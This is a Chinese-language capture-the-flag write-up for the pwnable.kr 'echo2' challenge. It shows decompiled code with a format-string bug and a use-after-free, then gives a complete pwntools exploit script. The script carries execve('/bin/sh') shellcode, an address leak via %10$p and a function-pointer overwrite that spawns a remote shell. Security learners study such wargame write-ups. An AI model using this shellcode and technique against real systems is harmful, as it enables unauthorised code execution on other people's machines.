题目大概逻辑是登录后输入一个用户名,然后可选的echo有两种,一种名为FSB,一种名为UAF,那么很容易想到这道题目考察的是格式化字符串和UAF了。
用ida分析,先看echo2函数,很简单的格式化字符串,没有任何过滤
__int64 echo2()
{
char format; // [sp+0h] [bp-20h]@1
(*((void (__fastcall **)(_QWORD))o + 3))(o);
get_input(&format, 32LL);
printf(&format);
(*((void (__fastcall **)(_QWORD))o + 4))(o);
return 0LL;
}
不过一个格式化字符串能做到的事情有限,所以继续往下看,注意到在退出时调用了cleanup对变量进行了free,但是这里退出并不是真的退出,如果用户在之后输入n,则继续运行,所以这里存在一个uaf。
__int64 echo3()
{
char *s; // ST08_8@1
(*((void (__fastcall **)(_QWORD))o + 3))(o);
s = (char *)malloc(0x20uLL);
get_input(s, 32LL);
puts(s);
free(s);
(*((void (__fastcall **)(_QWORD, _QWORD))o + 4))(o, 32LL);
return 0LL;
}
所以现在思路就清晰了,把shellcode写入用户名中,利用格式化字符串读取地址然后利用UAF执行之前的shellcode,获得shell。
那么接下来要做的是完成利用脚本。
从代码中看到,读取的用户名长度限制为24,所以需要找一个较短的shellcode,在exploitdb上容易找到。
\xf7\xe6\x50\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x89\xe7\xb0\x3b\x0f\x05
然后要做的是获取用户名的地址,在格式化字符串的时候输入%10$p
即可,但是这里的地址和用户名的地址还有0x20的偏移,在之后要减去。
最后的payload如下
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
p = remote("pwnable.kr", 9011)
p.recvuntil(":")
shellcode = "\xf7\xe6\x50\x48\xbf\x2f\x62\x69\x6e\x2f\x2f"
shellcode += "\x73\x68\x57\x48\x89\xe7\xb0\x3b\x0f\x05"
p.sendline(shellcode)
p.recvuntil(">")
p.sendline('2')
p.sendline("%10$p")
p.recvline()
# leak addr
addr = int(p.recvline(), 16) - 0x20
# free
p.sendline('4')
p.sendline('n')
p.sendline('3')
p.sendline('A' * 24 + p64(addr))
p.interactive()
网友评论